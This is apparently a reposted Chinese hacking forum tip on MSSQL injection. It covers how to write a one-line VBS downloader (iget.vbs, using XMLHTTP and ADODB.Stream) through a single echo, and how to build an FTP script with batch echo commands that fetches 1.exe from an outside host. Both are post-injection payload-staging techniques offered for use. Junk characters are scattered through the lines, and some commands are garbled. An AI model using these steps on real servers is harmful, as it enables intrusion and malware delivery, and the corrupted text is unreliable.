mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
2 b- {2 U$ ^9 F% s7 B1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

( |3 F/ K/ T1 {8 T/ D) i- eSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

; _! I  _, ^" P9 H) `这样我们可以一次echo成功,echo版本:
8 M1 _- D! t6 ^$ E! }, k- x
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
7 e$ A& D3 {; c4 N1 ~  T/ a1 O
8 ]* ?0 l3 Y1 w- p% A5 ?- j7 P
  z9 Y' e/ V- p, E0 }2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
echo s&gt;4.vbs
echo binary&gt;5.vbs
( I' a, c! O/ Z3 z  x; _* }echo get 1.exe&gt;6.vbs
7 r$ v) n5 G+ V& K0 r6 H% Cecho bay&gt;7.vbs
3 G: R. k2 X! S( a) d
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
# b) m- E' F! u2 h9 J</P>